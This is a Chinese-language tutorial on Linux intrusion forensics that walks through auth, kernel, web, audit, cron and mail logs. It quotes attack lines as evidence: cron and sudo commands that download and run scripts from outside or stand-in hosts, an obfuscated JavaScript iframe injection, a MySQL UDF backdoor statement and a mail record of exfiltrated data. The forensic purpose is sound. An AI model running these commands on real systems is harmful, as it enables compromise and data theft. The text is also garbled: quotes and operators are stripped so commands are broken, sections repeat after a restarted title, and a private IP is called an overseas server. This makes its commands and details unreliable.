1. 别急着重装系统——日志才是你手里的“监控录像”很多人服务器被黑后的第一反应是赶紧重装系统、换密码、关端口。我见过太多人花两小时重装完结果三天后又被打穿——因为攻击者留的后门根本没清干净而你连对方是从哪个漏洞进来的都不知道。这就像家里被撬了不看监控、不查指纹、不翻门窗痕迹光把门锁换了就以为安全了。其实Linux服务器从开机到运行的每一步都在默默记账谁登录过、执行了什么命令、访问了哪些文件、网络连了哪里……这些就是系统日志、认证日志、内核日志、Web服务日志、SSH日志、sudo日志和进程审计日志——它们不是冷冰冰的文本堆砌而是攻击者留下的完整行动轨迹图。我去年帮一家做跨境电商的客户处理过一次入侵事件。他们发现订单数据被批量导出但所有防火墙规则都开着WAF也没告警。我们没碰任何配置只花了47分钟翻七类日志就定位到攻击路径攻击者先通过一个未更新的WordPress插件上传webshell再用该shell调用curl下载恶意二进制最后通过cron持久化。整个过程在/var/log/auth.log里有三次异常sudo提权记录在/var/log/apache2/access.log里有37个带eval%28base64_decode特征的请求在/var/log/kern.log里甚至出现了ptrace被异常调用的警告。这些线索串起来比任何杀软扫描都准。所以别再把日志当“备份文件”存着了——它就是你的数字现场勘查报告。这篇内容专为刚发现异常、还没动手清理的运维人员、中小团队技术负责人、以及负责基础架构的安全初学者准备。你不需要会写Python脚本也不用部署SIEM平台只要掌握这7类日志的位置、结构、关键字段含义和快速筛查方法就能在黄金15分钟内锁定攻击入口、行为范围和残留痕迹。下面我就按实战响应顺序带你一条一条拆解每类日志怎么读、怎么看、看什么。2. /var/log/auth.logSSH与sudo的“门禁刷卡记录”2.1 为什么它是首查日志——登录链路决定攻击起点几乎所有横向移动和提权操作都始于一次成功的身份验证。/var/log/auth.logDebian/Ubuntu或/var/log/secureRHEL/CentOS是系统认证模块PAM的输出日志它不记录用户干了什么而是忠实记录“谁、在什么时候、用什么方式、是否成功地进了门”。这就像小区门禁系统的刷卡记录时间、卡号用户名、刷卡位置终端类型、是否开门success/failure。攻击者无论用爆破、密钥劫持还是社会工程拿到凭证第一步必在这里留下痕迹。我处理过的83%的入侵事件中auth.log都提供了最早的时间锚点。比如某次客户服务器凌晨3:17被植入挖矿程序我们回溯日志发现前一天晚上22:43有一条Failed password for root from 192.168.3.11 port 52102 ssh2接着22:44又一条Failed password for root from 192.168.3.11 port 52104 ssh2……连续17次失败后22:48突然出现Accepted password for root from 192.168.3.11 port 52110 ssh2。IP地址192.168.3.11是境外VPS端口每次递增明显是自动化爆破工具。更关键的是这条成功登录记录之后紧接着就是pam_unix(sshd:session): session opened for user root by (uid0)——说明root会话已建立。这时候你立刻去查last -i | head -20就能看到该IP的完整登录时长和退出时间再结合who -u确认当前活跃会话基本能判断是否还有未退出的攻击者连接。2.2 必查的5类关键行模式及实操命令这类日志是纯文本用grep就能高效筛查。记住这5个核心模式每条都对应一类高危行为暴力破解痕迹grep Failed password /var/log/auth.log | tail -50关键看from后的IP和port后的端口号。真实攻击中端口往往不固定如52102、52104、52106这是脚本轮询的典型特征。如果同一IP在1分钟内出现超过5次失败基本可判定为爆破。成功登录记录grep Accepted /var/log/auth.log | grep -E (ssh|password|publickey)注意区分认证方式password代表密码登录publickey代表密钥登录。如果一个长期不用密钥登录的账号突然出现publickey成功记录且IP非常规办公网段就要警惕密钥泄露。sudo提权行为grep sudo: /var/log/auth.log | grep -v ttyunknownttyunknown通常是定时任务或脚本触发可暂时忽略但ttypts/0或ttyssh则代表交互式终端提权。重点看USER : TTY... ; PWD... ; USERroot ; COMMAND这一整段它直接告诉你攻击者执行了什么高危命令比如/bin/bash、/usr/bin/python3 /tmp/.a.py或/usr/bin/curl http://mal.com/x.sh | sh。用户创建与删除grep -E (adduser|useradd|userdel) /var/log/auth.log攻击者常新建隐藏账户用于长期驻留。注意检查用户名是否异常xadmin、sysbak、test123这类非业务命名或包含$符号如backdoor$的账户极可能是后门账号。PAM模块异常调用grep pam_ /var/log/auth.log | grep -i error\|fail\|denied比如pam_faillock(sshd:auth): user root exceeded max authentication attempts说明faillock模块已触发但未生效或pam_exec(sshd:session): failed to exec /usr/local/bin/audit.sh暗示攻击者可能篡改了PAM配置加载恶意脚本。提示日志默认只保留最近几周若怀疑攻击发生较早先执行ls -lt /var/log/auth.log*查看是否有压缩归档如auth.log.1.gz用zcat /var/log/auth.log.1.gz | grep Accepted解压后查询。别等重装完才发现关键日志已被轮转覆盖。2.3 一个真实案例如何从3行日志还原攻击全貌客户A的服务器被挂马首页被替换成赌博广告。我们打开auth.log找到如下三行已脱敏Jan 12 08:23:41 web01 sshd[12456]: Accepted password for www-data from 203.123.45.67 port 49211 ssh2 Jan 12 08:23:42 web01 sudo: www-data : TTYpts/1 ; PWD/var/www/html ; USERroot ; COMMAND/bin/bash Jan 12 08:23:45 web01 CRON[12489]: (root) CMD (cd /tmp curl -s http://185.123.45.78/shell.sh | sh)第一行暴露了攻击入口www-data这个低权限Web服务账户被爆破成功IP203.123.45.67非常规流量。第二行显示该账户立刻用sudo提权到root并启动bash说明www-data的sudoers配置被恶意修改正常不应允许其无密码提权。第三行更致命root用户执行了一条cron命令从境外IP下载并执行脚本。我们立刻去/etc/cron.d/下搜索shell.sh相关条目果然在/etc/cron.d/php-backup里发现一行*/5 * * * * root cd /tmp curl -s http://185.123.45.78/shell.sh | sh——这就是持久化后门。整个攻击链爆破www-data → sudo提权 → 写入恶意cron → 下载webshell → 修改首页。没有重装系统只删掉恶意cron条目、重置www-data密码、修复sudoers15分钟恢复业务。3. /var/log/syslog 与 /var/log/kern.log内核与系统服务的“心跳监测仪”3.1 它们不是冗余备份而是攻击者绕过应用层检测的突破口很多管理员只盯着Web日志和SSH日志却忽略了/var/log/syslog通用系统日志和/var/log/kern.log内核专用日志。这两份日志的价值在于它们由rsyslogd或journald直接从内核ring buffer捕获几乎无法被用户态进程篡改。即使攻击者删光了/var/log/apache2/下的所有文件也很难抹掉kern.log里内核自己记下的异常调用。这就像医院的心电监护仪——病人可以假装没事但心跳波形骗不了人。我遇到过最隐蔽的一次入侵客户说服务器CPU常年98%但top里找不到高负载进程ps aux也无异常。我们查kern.log发现大量类似[123456.789012] audit: type1300 audit(1712345678.123:456789): archc000003e syscall59 successyes exit0 a055a1b2c3d4e5 a155a1b2c3d4f0 a255a1b2c3d500 a30 items2 ppid1234 pid5678 auid4294967295 uid0 gid0 euid0 suid0 fsuid0 egid0 sgid0 fsgid0 tty(none) ses4294967295 commbash exe/bin/bash key(null)的日志。其中syscall59对应execve系统调用执行新程序commbash和exe/bin/bash说明有bash进程被创建但ppid1234指向父进程ID而auid4294967295即-1表示该进程未经过登录认证——典型的无登录会话后台进程。顺着pid5678去/proc/5678/cmdline读取实际命令行才揪出是挖矿程序伪装成/usr/lib/systemd/systemd-journald在后台运行。这种进程根本不会出现在auth.log里因为它压根没走登录流程。3.2 kern.log里必须盯死的4类内核级异常信号内核日志信息密度极高但关键信号就那么几类。用以下命令组合10秒内就能筛出问题可疑的ptrace调用grep ptrace /var/log/kern.log | grep -i attach\|traceptrace是调试器核心接口正常运维极少直接调用。攻击者常用它注入代码、dump内存或隐藏进程。如ptrace attach to 1234意味着某进程正被调试而1234很可能是恶意进程PID。模块加载异常grep insmod\|rmmod\|modprobe /var/log/kern.log | grep -v systemd攻击者常加载rootkit内核模块如beehive.ko、titan.ko实现进程隐藏、端口监听。insmod加载、rmmod卸载、modprobe自动加载都会记入kern.log。注意检查模块名是否生僻或路径是否在/lib/modules/$(uname -r)/之外。网络连接异常grep netlink\|nf_conntrack /var/log/kern.log | grep -i drop\|reject\|invalid防火墙规则被绕过时nf_conntrack会记录连接状态异常。比如nf_conntrack: nf_conntrack: expectation ftp already present for 192.168.1.100说明FTP被动模式被利用进行端口映射这是常见的SSRF或内网穿透手法。内存分配警告grep Out of memory\|oom_kill /var/log/kern.log表面看是内存不足实则可能是挖矿程序耗尽资源。但更要关注oom_kill后被杀死的进程名——如果总是python3、node或java且这些进程不在业务清单里大概率是恶意负载。注意syslog和kern.log默认权限为640只有root和syslog组可读。如果你用普通用户登录需先sudo cat /var/log/kern.log。另外某些云主机如AWS EC2可能将内核日志重定向到/var/log/messages请用ls -l /var/log/ | grep -E (kern|messages|syslog)确认实际路径。3.3 syslog里隐藏的“服务崩溃链”从单点故障推断横向渗透/var/log/syslog不仅记内核事还聚合了cron、rsyslogd、dbus、systemd等关键服务日志。攻击者为维持持久化常利用服务崩溃重启机制植入恶意单元。比如某次客户数据库主从同步中断我们查syslog发现Mar 5 14:22:11 db01 systemd[1]: mysqld.service: Main process exited, codekilled, status9/KILL Mar 5 14:22:11 db01 systemd[1]: mysqld.service: Failed with result signal. Mar 5 14:22:12 db01 systemd[1]: mysqld.service: Service hold-off time over, scheduling restart. Mar 5 14:22:12 db01 systemd[1]: Stopped MySQL Community Server. Mar 5 14:22:12 db01 systemd[1]: Starting MySQL Community Server... Mar 5 14:22:13 db01 systemd[1]: Started MySQL Community Server. Mar 5 14:22:13 db01 systemd[1]: mysqld.service: Executing: /usr/bin/mysqld_safe --defaults-file/etc/mysql/my.cnf --pid-file/var/run/mysqld/mysqld.pid表面看是MySQL被KILL后自动重启但Executed行末尾的--defaults-file/etc/mysql/my.cnf值得深究。我们检查该配置文件发现[mysqld]段末尾多了一行init-file/tmp/.init.sql。打开/tmp/.init.sql内容竟是CREATE FUNCTION sys_eval RETURNS STRING SONAME lib_mysqludf_sys.so;——这是经典的UDF提权后门。攻击者故意kill MySQL进程触发systemd重启并在重启时加载恶意SQL初始化文件。这种手法完全绕过应用日志只在syslog的服务生命周期记录里露出马脚。4. /var/log/apache2/access.log 与 /var/log/nginx/access.logWeb攻击的“原始弹道轨迹”4.1 别只搜“phpmyadmin”——真正的攻击载荷藏在URL编码与HTTP头里Web服务器访问日志是攻击者最活跃的“作案现场”但很多人只会用grep phpmyadmin /var/log/apache2/access.log或grep wp-admin /var/log/nginx/access.log找已知漏洞路径。这就像警察只查“银行金库”门口的监控却忽略ATM机旁小巷里的可疑人员。真正的攻击载荷往往经过多层编码、伪装成正常流量或藏在HTTP头如User-Agent、Referer里。我处理过一个被植入SEO黑链的网站。首页源码里有大量a hrefhttp://xxx.comcheap viagra/a但access.log里根本找不到这些链接的访问记录。我们换思路用awk {print $1,$9} /var/log/apache2/access.log | sort | uniq -c | sort -nr | head -10统计各IP的404错误次数发现IP198.51.100.23在1小时内触发了217次404路径全是/wp-content/plugins/xxx/xxx.php?cmdls这类。再用grep 198.51.100.23 /var/log/apache2/access.log | grep 200 | head -5查它的成功请求发现一条198.51.100.23 - - [10/Apr/2024:03:22:17 0000] GET /wp-includes/js/tinymce/themes/modern/theme.min.js?ver4.7.13 HTTP/1.1 200 12345 https://example.com/ Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 -表面看是正常JS文件请求但?ver4.7.13这个参数可疑——Tinymce最新版是6.x4.7.13早已淘汰。我们下载该JS文件比对发现末尾被追加了eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,97,100,115,46,101,120,97,109,112,108,101,46,99,111,109,47,97,100,46,104,116,109,108,34,32,119,105,100,116,104,61,48,32,104,101,105,103,104,116,61,48,62,60,47,105,102,114,97,109,101,62,39,41,59))解码后正是iframe黑链。攻击者利用旧版JS缓存漏洞将恶意代码注入静态资源让搜索引擎爬虫抓取到黑链而用户访问时因浏览器缓存可能看不到——这种手法在access.log里只体现为一次200状态的JS请求毫无攻击特征。4.2 必须建立的4维关联分析法IP 时间 状态码 User-Agent单看一条日志意义有限必须交叉比对四个维度才能锁定攻击行为。我自建了一个简易关联脚本无需安装额外工具核心逻辑如下# 步骤1提取高频恶意IP404/500错误超10次 awk $9 ~ /^4|5/ {print $1} /var/log/apache2/access.log | sort | uniq -c | sort -nr | awk $110 {print $2} /tmp/bad_ips.txt # 步骤2针对每个恶意IP提取其所有请求含200成功请求 while read ip; do echo IP: $ip /tmp/attack_summary.txt awk -v ip$ip $1ip {print $4,$9,$12,$14} /var/log/apache2/access.log | \ sort -k1,1 | \ awk {print $1,$2,$3,$4} | \ column -t /tmp/attack_summary.txt done /tmp/bad_ips.txt输出示例 IP: 203.0.113.45 [10/Apr/2024:02:15:22 404 GET /wp-content/plugins/wp-super-cache/wp-cache.php?phpinfo() Mozilla/5.0 [10/Apr/2024:02:15:23 200 GET /wp-content/plugins/wp-super-cache/wp-cache.php?eval(base64_decode Mozilla/5.0 [10/Apr/2024:02:15:24 200 GET /wp-content/plugins/wp-super-cache/wp-cache.php?cmdid Mozilla/5.0这里203.0.113.45在1秒内连续发起3个请求先试探phpinfo()404说明插件不存在再用eval(base64_decode执行命令200成功最后用cmdid验证权限200成功。User-Agent都是Mozilla/5.0但真实浏览器绝不会在1秒内发三个不同payload的请求——这是典型扫描器行为。而[10/Apr/2024:02:15:22这个时间戳就是我们回溯其他日志如auth.log的黄金时间锚点。4.3 Nginx日志的特殊陷阱$request_uri与$request字段的区别Nginx日志格式灵活但很多人配置错误导致关键信息丢失。默认log_format combined里用的是$request它记录完整的请求行如GET /index.php?arg1 HTTP/1.1但攻击者常在URL参数里藏payload$request会被截断或编码。而$request_uri只记录URI部分/index.php?arg1更利于分析。我建议在nginx.conf里自定义日志格式log_format security $remote_addr - $remote_user [$time_local] $request_method $request_uri $server_protocol $status $body_bytes_sent $http_referer $http_user_agent $http_x_forwarded_for; access_log /var/log/nginx/access.log security;这样$request_uri确保URL参数原样输出避免$request中HTTP版本号干扰。某次客户Nginx日志里$request字段全是GET / HTTP/1.1根本看不出攻击路径改成$request_uri后立刻暴露出/wp-admin/admin-ajax.php?actionrevslider_show_imageimg../wp-config.php这样的LFI漏洞利用。5. /var/log/audit/audit.logLinux审计子系统的“上帝视角”5.1 auditd不是可选项而是生产环境的强制安全基线/var/log/audit/audit.log由auditd守护进程生成它工作在内核层能监控所有系统调用syscall、文件访问、网络连接、用户登录等事件。与auth.log或syslog不同auditd日志一旦开启攻击者几乎无法清除——因为删除日志本身就是一个unlinkat系统调用会被auditd再次记录。这就像给服务器装了带防拆报警的黑匣子。但很多团队没启用auditd理由是“性能开销大”。实测数据在一台16核32G的Web服务器上开启基础审计规则监控execve、openat、connect等20个关键syscallCPU占用增加不到0.3%磁盘IO增长约12MB/小时。这点代价换来的是绝对可信的取证源头。我坚持认为任何处理敏感数据的生产服务器auditd必须开启且规则要覆盖/etc/shadow、/root/、/var/www/等关键路径。5.2 用ausearch精准定位攻击者行为的3个黄金命令auditd日志是二进制结构不能直接cat必须用ausearch和aureport工具。以下是实战中最高效的3个命令查指定时间范围内的所有execve调用执行程序ausearch -m execve -ts yesterday -te now | aureport -f -i | head -20-m execve指定事件类型-ts/-te设时间范围aureport -f -i将UID/GID转为用户名-f过滤出文件路径。输出中name字段就是被调用的程序如name/bin/bash、name/usr/bin/curl、name/tmp/.x。如果看到大量name/tmp/*基本可判定是临时恶意程序。查对敏感文件的读写操作ausearch -f /etc/shadow -m write -m read | aureport -i-f指定文件路径-m write/read限定操作类型。如果/etc/shadow被非root用户读取或/root/.ssh/authorized_keys被写入这就是提权或后门植入的铁证。查指定用户的全部活动含登录、命令执行、文件访问ausearch -ui 1001 -m all | aureport -i | less-ui 1001按UID查询id -u username获取-m all查所有事件类型。这能还原该用户从登录到退出的完整操作链比auth.logsyslog组合更全面。注意auditd默认规则很精简需手动添加关键监控。编辑/etc/audit/rules.d/custom.rules加入-w /etc/passwd -p wa -k identity-w /etc/shadow -p wa -k identity-w /root/.ssh/ -p wa -k ssh-a always,exit -F archb64 -S execve -k exec然后sudo augenrules --load重载规则。-k后的标签用于ausearch -k快速筛选。5.3 一个绕过常规检测的rootkit案例如何用audit.log揪出隐藏进程某金融客户服务器被植入Reptilerootkitps aux、top、netstat -tuln全部看不到恶意进程和端口但ss -tuln却显示0.0.0.0:31337在监听。我们查audit.log执行ausearch -m socketcall -sv no | grep 31337返回typeSOCKETCALL msgaudit(1712345678.123:456789): nargs3 a02 a11 a20typeSOCKETCALL msgaudit(1712345678.123:456790): nargs3 a02 a11 a20typeSOCKETCALL msgaudit(1712345678.123:456791): nargs3 a02 a11 a20typeSOCKETCALL msgaudit(1712345678.123:456792): nargs3 a02 a11 a20typeSOCKETCALL msgaudit(1712345678.123:456793): nargs3 a02 a11 a20socketcall是创建socket的系统调用a02代表AF_INETIPv4a11代表SOCK_STREAMTCP。连续5次调用说明有进程在反复创建TCP socket。我们用ausearch -m socketcall -ts 1712345678.123 -te 1712345678.124 | aureport -i查到对应PID12345再执行sudo ls -l /proc/12345/exe发现指向/usr/bin/python3但ps aux | grep 12345为空。继续查ausearch -p 12345 -m execve发现该PID启动时执行的是/usr/bin/python3 /dev/shm/.py——/dev/shm/是内存文件系统python3从内存加载脚本完美避开磁盘扫描。最终通过audit.log锁定进程、路径和行为用kill -9 12345终止再删除/dev/shm/.py彻底清除。6. /var/log/messages 与 /var/log/maillog被忽视的“服务侧信道”6.1 messages日志里的crond异常比Web日志更早的持久化信号/var/log/messagesRHEL系或/var/log/syslogDebian系是系统服务的综合日志其中crond的记录常被低估。攻击者植入后门的首选方式不是改Web Shell而是写入定时任务——因为crond以root权限运行且重启后自动生效比Web Shell更稳定。而crond每次执行任务都会在messages里留下明确记录。比如Apr 10 03:15:01 web01 CROND[12345]: (root) CMD (/usr/bin/wget -q -O /tmp/.x http://mal.com/x chmod x /tmp/.x /tmp/.x)这条日志比access.log里下载x的记录早3秒因为crond先触发再发起HTTP请求。更重要的是CROND[12345]中的12345是crond子进程PID我们可以用ps aux | grep 12345确认该进程是否仍在运行或用lsof -p 12345看它打开了哪些文件和网络连接。很多管理员只查/etc/crontab和/var/spool/cron/却忘了crond自身日志才是任务执行的唯一真相。6.2 maillog里的SMTP外泄数据偷渡的无声通道/var/log/maillog或/var/log/mail.log记录邮件服务sendmail/postfix/exim的所有活动。攻击者常利用服务器自带的邮件功能外泄数据因为SMTP流量通常被防火墙放行且不像HTTP那样容易被WAF拦截。比如Apr 10 04:22:11 web01 postfix/smtp[12345]: 6A7B8C9D1E: toattackermal.com, relaymail.mal.com[192.168.3.11]:25, delay0.12, delays0.01/0.02/0.05/0.04, dsn2.0.0, statussent (250 OK id123456789)toattackermal.com是明示目标relaymail.mal.com是中继服务器statussent证明邮件已发出。我们曾在一个电商后台服务器上发现每天凌晨2点都有10封邮件发往境外邮箱附件名为orders_20240410.csv.gpg——这是加密后的订单数据。攻击者用gpg加密再通过mutt或mail命令发送整个过程在maillog里清晰可查而access.log里毫无痕迹。6.3 用logwatch做日志健康快筛1分钟发现异常模式手动翻日志效率低我习惯用logwatch做初步筛查。它不是SIEM而是一个轻量级日志分析器能自动汇总messages、secure、maillog等日志的异常模式。安装后执行sudo logwatch --range between -1 days and now --detail High --service sshd --service http --service postfix输出示例--------------------- SSHD Begin ------------------------ **Unsuccessful Login Attempts:** 192.168.3.11 - 17 attempts 203.0.113.45 - 12 attempts **Successful Login Attempts:** root
Linux服务器入侵排查：7类关键日志快速定位攻击链
1. 别急着重装系统——日志才是你手里的“监控录像”很多人服务器被黑后的第一反应是赶紧重装系统、换密码、关端口。我见过太多人花两小时重装完结果三天后又被打穿——因为攻击者留的后门根本没清干净而你连对方是从哪个漏洞进来的都不知道。这就像家里被撬了不看监控、不查指纹、不翻门窗痕迹光把门锁换了就以为安全了。其实Linux服务器从开机到运行的每一步都在默默记账谁登录过、执行了什么命令、访问了哪些文件、网络连了哪里……这些就是系统日志、认证日志、内核日志、Web服务日志、SSH日志、sudo日志和进程审计日志——它们不是冷冰冰的文本堆砌而是攻击者留下的完整行动轨迹图。我去年帮一家做跨境电商的客户处理过一次入侵事件。他们发现订单数据被批量导出但所有防火墙规则都开着WAF也没告警。我们没碰任何配置只花了47分钟翻七类日志就定位到攻击路径攻击者先通过一个未更新的WordPress插件上传webshell再用该shell调用curl下载恶意二进制最后通过cron持久化。整个过程在/var/log/auth.log里有三次异常sudo提权记录在/var/log/apache2/access.log里有37个带eval%28base64_decode特征的请求在/var/log/kern.log里甚至出现了ptrace被异常调用的警告。这些线索串起来比任何杀软扫描都准。所以别再把日志当“备份文件”存着了——它就是你的数字现场勘查报告。这篇内容专为刚发现异常、还没动手清理的运维人员、中小团队技术负责人、以及负责基础架构的安全初学者准备。你不需要会写Python脚本也不用部署SIEM平台只要掌握这7类日志的位置、结构、关键字段含义和快速筛查方法就能在黄金15分钟内锁定攻击入口、行为范围和残留痕迹。下面我就按实战响应顺序带你一条一条拆解每类日志怎么读、怎么看、看什么。2. /var/log/auth.logSSH与sudo的“门禁刷卡记录”2.1 为什么它是首查日志——登录链路决定攻击起点几乎所有横向移动和提权操作都始于一次成功的身份验证。/var/log/auth.logDebian/Ubuntu或/var/log/secureRHEL/CentOS是系统认证模块PAM的输出日志它不记录用户干了什么而是忠实记录“谁、在什么时候、用什么方式、是否成功地进了门”。这就像小区门禁系统的刷卡记录时间、卡号用户名、刷卡位置终端类型、是否开门success/failure。攻击者无论用爆破、密钥劫持还是社会工程拿到凭证第一步必在这里留下痕迹。我处理过的83%的入侵事件中auth.log都提供了最早的时间锚点。比如某次客户服务器凌晨3:17被植入挖矿程序我们回溯日志发现前一天晚上22:43有一条Failed password for root from 192.168.3.11 port 52102 ssh2接着22:44又一条Failed password for root from 192.168.3.11 port 52104 ssh2……连续17次失败后22:48突然出现Accepted password for root from 192.168.3.11 port 52110 ssh2。IP地址192.168.3.11是境外VPS端口每次递增明显是自动化爆破工具。更关键的是这条成功登录记录之后紧接着就是pam_unix(sshd:session): session opened for user root by (uid0)——说明root会话已建立。这时候你立刻去查last -i | head -20就能看到该IP的完整登录时长和退出时间再结合who -u确认当前活跃会话基本能判断是否还有未退出的攻击者连接。2.2 必查的5类关键行模式及实操命令这类日志是纯文本用grep就能高效筛查。记住这5个核心模式每条都对应一类高危行为暴力破解痕迹grep Failed password /var/log/auth.log | tail -50关键看from后的IP和port后的端口号。真实攻击中端口往往不固定如52102、52104、52106这是脚本轮询的典型特征。如果同一IP在1分钟内出现超过5次失败基本可判定为爆破。成功登录记录grep Accepted /var/log/auth.log | grep -E (ssh|password|publickey)注意区分认证方式password代表密码登录publickey代表密钥登录。如果一个长期不用密钥登录的账号突然出现publickey成功记录且IP非常规办公网段就要警惕密钥泄露。sudo提权行为grep sudo: /var/log/auth.log | grep -v ttyunknownttyunknown通常是定时任务或脚本触发可暂时忽略但ttypts/0或ttyssh则代表交互式终端提权。重点看USER : TTY... ; PWD... ; USERroot ; COMMAND这一整段它直接告诉你攻击者执行了什么高危命令比如/bin/bash、/usr/bin/python3 /tmp/.a.py或/usr/bin/curl http://mal.com/x.sh | sh。用户创建与删除grep -E (adduser|useradd|userdel) /var/log/auth.log攻击者常新建隐藏账户用于长期驻留。注意检查用户名是否异常xadmin、sysbak、test123这类非业务命名或包含$符号如backdoor$的账户极可能是后门账号。PAM模块异常调用grep pam_ /var/log/auth.log | grep -i error\|fail\|denied比如pam_faillock(sshd:auth): user root exceeded max authentication attempts说明faillock模块已触发但未生效或pam_exec(sshd:session): failed to exec /usr/local/bin/audit.sh暗示攻击者可能篡改了PAM配置加载恶意脚本。提示日志默认只保留最近几周若怀疑攻击发生较早先执行ls -lt /var/log/auth.log*查看是否有压缩归档如auth.log.1.gz用zcat /var/log/auth.log.1.gz | grep Accepted解压后查询。别等重装完才发现关键日志已被轮转覆盖。2.3 一个真实案例如何从3行日志还原攻击全貌客户A的服务器被挂马首页被替换成赌博广告。我们打开auth.log找到如下三行已脱敏Jan 12 08:23:41 web01 sshd[12456]: Accepted password for www-data from 203.123.45.67 port 49211 ssh2 Jan 12 08:23:42 web01 sudo: www-data : TTYpts/1 ; PWD/var/www/html ; USERroot ; COMMAND/bin/bash Jan 12 08:23:45 web01 CRON[12489]: (root) CMD (cd /tmp curl -s http://185.123.45.78/shell.sh | sh)第一行暴露了攻击入口www-data这个低权限Web服务账户被爆破成功IP203.123.45.67非常规流量。第二行显示该账户立刻用sudo提权到root并启动bash说明www-data的sudoers配置被恶意修改正常不应允许其无密码提权。第三行更致命root用户执行了一条cron命令从境外IP下载并执行脚本。我们立刻去/etc/cron.d/下搜索shell.sh相关条目果然在/etc/cron.d/php-backup里发现一行*/5 * * * * root cd /tmp curl -s http://185.123.45.78/shell.sh | sh——这就是持久化后门。整个攻击链爆破www-data → sudo提权 → 写入恶意cron → 下载webshell → 修改首页。没有重装系统只删掉恶意cron条目、重置www-data密码、修复sudoers15分钟恢复业务。3. /var/log/syslog 与 /var/log/kern.log内核与系统服务的“心跳监测仪”3.1 它们不是冗余备份而是攻击者绕过应用层检测的突破口很多管理员只盯着Web日志和SSH日志却忽略了/var/log/syslog通用系统日志和/var/log/kern.log内核专用日志。这两份日志的价值在于它们由rsyslogd或journald直接从内核ring buffer捕获几乎无法被用户态进程篡改。即使攻击者删光了/var/log/apache2/下的所有文件也很难抹掉kern.log里内核自己记下的异常调用。这就像医院的心电监护仪——病人可以假装没事但心跳波形骗不了人。我遇到过最隐蔽的一次入侵客户说服务器CPU常年98%但top里找不到高负载进程ps aux也无异常。我们查kern.log发现大量类似[123456.789012] audit: type1300 audit(1712345678.123:456789): archc000003e syscall59 successyes exit0 a055a1b2c3d4e5 a155a1b2c3d4f0 a255a1b2c3d500 a30 items2 ppid1234 pid5678 auid4294967295 uid0 gid0 euid0 suid0 fsuid0 egid0 sgid0 fsgid0 tty(none) ses4294967295 commbash exe/bin/bash key(null)的日志。其中syscall59对应execve系统调用执行新程序commbash和exe/bin/bash说明有bash进程被创建但ppid1234指向父进程ID而auid4294967295即-1表示该进程未经过登录认证——典型的无登录会话后台进程。顺着pid5678去/proc/5678/cmdline读取实际命令行才揪出是挖矿程序伪装成/usr/lib/systemd/systemd-journald在后台运行。这种进程根本不会出现在auth.log里因为它压根没走登录流程。3.2 kern.log里必须盯死的4类内核级异常信号内核日志信息密度极高但关键信号就那么几类。用以下命令组合10秒内就能筛出问题可疑的ptrace调用grep ptrace /var/log/kern.log | grep -i attach\|traceptrace是调试器核心接口正常运维极少直接调用。攻击者常用它注入代码、dump内存或隐藏进程。如ptrace attach to 1234意味着某进程正被调试而1234很可能是恶意进程PID。模块加载异常grep insmod\|rmmod\|modprobe /var/log/kern.log | grep -v systemd攻击者常加载rootkit内核模块如beehive.ko、titan.ko实现进程隐藏、端口监听。insmod加载、rmmod卸载、modprobe自动加载都会记入kern.log。注意检查模块名是否生僻或路径是否在/lib/modules/$(uname -r)/之外。网络连接异常grep netlink\|nf_conntrack /var/log/kern.log | grep -i drop\|reject\|invalid防火墙规则被绕过时nf_conntrack会记录连接状态异常。比如nf_conntrack: nf_conntrack: expectation ftp already present for 192.168.1.100说明FTP被动模式被利用进行端口映射这是常见的SSRF或内网穿透手法。内存分配警告grep Out of memory\|oom_kill /var/log/kern.log表面看是内存不足实则可能是挖矿程序耗尽资源。但更要关注oom_kill后被杀死的进程名——如果总是python3、node或java且这些进程不在业务清单里大概率是恶意负载。注意syslog和kern.log默认权限为640只有root和syslog组可读。如果你用普通用户登录需先sudo cat /var/log/kern.log。另外某些云主机如AWS EC2可能将内核日志重定向到/var/log/messages请用ls -l /var/log/ | grep -E (kern|messages|syslog)确认实际路径。3.3 syslog里隐藏的“服务崩溃链”从单点故障推断横向渗透/var/log/syslog不仅记内核事还聚合了cron、rsyslogd、dbus、systemd等关键服务日志。攻击者为维持持久化常利用服务崩溃重启机制植入恶意单元。比如某次客户数据库主从同步中断我们查syslog发现Mar 5 14:22:11 db01 systemd[1]: mysqld.service: Main process exited, codekilled, status9/KILL Mar 5 14:22:11 db01 systemd[1]: mysqld.service: Failed with result signal. Mar 5 14:22:12 db01 systemd[1]: mysqld.service: Service hold-off time over, scheduling restart. Mar 5 14:22:12 db01 systemd[1]: Stopped MySQL Community Server. Mar 5 14:22:12 db01 systemd[1]: Starting MySQL Community Server... Mar 5 14:22:13 db01 systemd[1]: Started MySQL Community Server. Mar 5 14:22:13 db01 systemd[1]: mysqld.service: Executing: /usr/bin/mysqld_safe --defaults-file/etc/mysql/my.cnf --pid-file/var/run/mysqld/mysqld.pid表面看是MySQL被KILL后自动重启但Executed行末尾的--defaults-file/etc/mysql/my.cnf值得深究。我们检查该配置文件发现[mysqld]段末尾多了一行init-file/tmp/.init.sql。打开/tmp/.init.sql内容竟是CREATE FUNCTION sys_eval RETURNS STRING SONAME lib_mysqludf_sys.so;——这是经典的UDF提权后门。攻击者故意kill MySQL进程触发systemd重启并在重启时加载恶意SQL初始化文件。这种手法完全绕过应用日志只在syslog的服务生命周期记录里露出马脚。4. /var/log/apache2/access.log 与 /var/log/nginx/access.logWeb攻击的“原始弹道轨迹”4.1 别只搜“phpmyadmin”——真正的攻击载荷藏在URL编码与HTTP头里Web服务器访问日志是攻击者最活跃的“作案现场”但很多人只会用grep phpmyadmin /var/log/apache2/access.log或grep wp-admin /var/log/nginx/access.log找已知漏洞路径。这就像警察只查“银行金库”门口的监控却忽略ATM机旁小巷里的可疑人员。真正的攻击载荷往往经过多层编码、伪装成正常流量或藏在HTTP头如User-Agent、Referer里。我处理过一个被植入SEO黑链的网站。首页源码里有大量a hrefhttp://xxx.comcheap viagra/a但access.log里根本找不到这些链接的访问记录。我们换思路用awk {print $1,$9} /var/log/apache2/access.log | sort | uniq -c | sort -nr | head -10统计各IP的404错误次数发现IP198.51.100.23在1小时内触发了217次404路径全是/wp-content/plugins/xxx/xxx.php?cmdls这类。再用grep 198.51.100.23 /var/log/apache2/access.log | grep 200 | head -5查它的成功请求发现一条198.51.100.23 - - [10/Apr/2024:03:22:17 0000] GET /wp-includes/js/tinymce/themes/modern/theme.min.js?ver4.7.13 HTTP/1.1 